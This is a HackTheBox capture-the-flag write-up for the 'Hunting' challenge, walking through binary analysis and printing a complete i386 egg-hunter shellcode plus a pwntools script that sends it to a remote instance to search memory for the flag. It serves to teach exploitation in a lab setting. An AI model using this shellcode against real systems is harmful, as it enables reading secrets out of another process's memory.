# Hunting - HackTheBox Writeup ## Description I've hidden the flag very carefully, you'll never manage to find it! Please note that the goal is to find the flag, and not to obtain a shell. We are provided with a 32-bit ELF binary. So, for this challenge, it's not about obtaining a shell, as the challenge description states; our task is going to be finding the flag hidden inside the binary. Now, let's analyze the binary in Binary Ninja ![Pasted image 20231129203505](https://hackmd.io/_uploads/S19E3VIHp.png) In the main function, the program registers a signal handler for `SIGALRM` and uses `mmap` to create a random address where it copies the flag. Then, it creates another `mmap` for user input, reads 60 bytes, and calls it. Let's step through this in GDB: ![Pasted image 20231130121133](https://hackmd.io/_uploads/H1c83VIST.png) I set a breakpoint at the `mmap` function to reach the main function where the magic happens ![Pasted image 20231130121235](https://hackmd.io/_uploads/r1kOnNUHp.png) After stepping through, we find that the dummy flag is copied to the stack ![Pasted image 20231130121344](https://hackmd.io/_uploads/ByHK2EUB6.png) Now, our task is clear. The flag is somewhere in the stack, and we need to prepare a shellcode to print it to stdout. After some research, I decided to use an "EGG Hunter." ## What is an EGG Hunter An EGG Hunter is a shellcode technique where the process's memory is searched for a specific marker (the "egg") to locate a secondary payload or shellcode. In our case, we need to search for the flag's signature and print the flag to stdout. ## Solution First, let's prepare a `pwntools` template to write our payload. For debugging, I'll save the payload as a file to run it in GDB ![Pasted image 20231130122353](https://hackmd.io/_uploads/ByynhEIra.png) This simple shellcode tests if our payload works by pushing `0x1337` to the stack and popping it into the `eax` register. As seen in GDB, our shellcode is about to be called ![Pasted image 20231130122140](https://hackmd.io/_uploads/Hk76hVLSa.png) The small assembly code executes successfully ![Pasted image 20231130122538](https://hackmd.io/_uploads/SkIChVLHa.png) Great, as we can see from the instruction above, the small assembly code that we've written is gonna be executed. ![Pasted image 20231130122620](https://hackmd.io/_uploads/BJ_y6NIHT.png) Okay, our two lines of assembly code have been executed, and as you can see at the top, the `$eax` register has the value of `0x1337`. Now, let's write our payload. ## Breakdown ### Step 1 Before writing our payload, let's figure out what we need to do. Since we are using the `Egg hunter` technique, we need an 8-bytes long signature, which for this challenge, we're going to use `HTB{`. Additionally, since we'll be searching the VAS (Virtual Address Space), we need to check if we have permission to access a memory section while searching. ### Step 2 To check the permission, we can use the syscall `access()`. This syscall allows us to check if we can access a specific memory address; if not, it will set our `al` register to `0xf2` (EFAULT). ### Step 3 After we have located our flag, we need a way to print the value to stdout. To do that, we can use the syscall `write()`. Now let's write our egg hunter shellcode: ```python #!/usr/bin/env python3 from pwn import * # importing everything from pwntools to our namespace import sys context.arch = "i386" # setting architecture for compiled assembly assembly = """ setup: mov eax, 27 # sys_mincore int 0x80 mov edi, 0x7b425448 # our egg, "HTB{" mov edx, 0x5fffffff # mem start next_page: or dx, 0xfff test_next: inc edx # mov one up pusha xor ecx, ecx mov al, 0x21 # syscall_access lea ebx, [edx + 0x4] # get four byte of the memory int 0x80 # syscall cmp al, 0xf2 # check if its EFAULT popa jz next_page # if it is move to the next page cmp [edx], edi # if not check our egg jnz test_next # if our egg is not equal, move to the next address push 0x04 # sys_write syscall pop eax push 0x01 # STDOUT pop ebx mov ecx, edx # bytes to print push 0x24 # size of the string pop edx int 0x80 """ # our raw assembly payload = asm(assembly) # using pwntools asm() function to compile it into bytes with open("buff.bin", "wb") as buff: buff.write(payload) print("payload saved!") ``` Okay, here is the assembly shellcode. I've written a comment on the shellcode describing what it's doing. At a high level, it sets the egg (`HTB{`) to the `edi` register, then sets VAS memory start for us to search our flag on `edx`. On the `test_next` label, it increments `edx` register and checks if we can `access` that memory section using the `access` syscall. Then we compare our 4 bytes of egg to a memory section that we can access. It will go through the memory section until we find our flag. Finally, we use our `write` syscall to print the flag to stdout. Let's test it out using GDB: ![Pasted image 20231130124717](https://hackmd.io/_uploads/HJQdpVUSp.png) Our shellcode started to execute ![Pasted image 20231130124749](https://hackmd.io/_uploads/rkxKaN8rT.png) Awesome! The flag is found, and it's set on the `$ecx` register from the screenshot above. Now, let's test our payload using only the binary, without GDB ![Pasted image 20231130124934](https://hackmd.io/_uploads/rkyq6EIS6.png) Great, it seems to work fine. Now, let's modify our code so that our payload will send the shellcode to the remote instance ```python #!/usr/bin/env python3 from pwn import * # importing everything from pwntools to our namespace import sys context.arch = "i386" # setting architecture for compiled assembly assembly = """ setup: mov eax, 27 # sys_mincore int 0x80 mov edi, 0x7b425448 # our egg, "HTB{" mov edx, 0x5fffffff # mem start next_page: or dx, 0xfff test_next: inc edx # mov one up pusha xor ecx, ecx mov al, 0x21 # syscall_access lea ebx, [edx + 0x4] # get four bytes of the memeory int 0x80 # syscall cmp al, 0xf2 # check if its EFAULT popa jz next_page # if it is move to the next page cmp [edx], edi # if not check our egg jnz test_next # if our egg is not equal, move to the next address push 0x04 # sys_write syscall pop eax push 0x01 # STDOUT pop ebx mov ecx, edx # bytes to print push 0x24 # size of the string pop edx int 0x80 # syscall """ # our raw assembly payload = asm(assembly) # using pwntools asm() function to compile it into bytes if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} ip:port") sys.exit(1) else: target = sys.argv[1] host = target.split(":")[0] port = int(target.split(":")[1]) io = remote(host, port) io.send(payload) # sending the payload into the process io.interactive() # going into interactive mode with the process ``` Here is the full code. When given the HTB instance, it will send the shellcode and check if we can get the flag or not. ![image_1](https://hackmd.io/_uploads/ryPnT4IST.png) Awesome! The shellcode worked against the remote instance. __Reference__: https://www.hick.org/code/skape/papers/egghunt-shellcode.pdf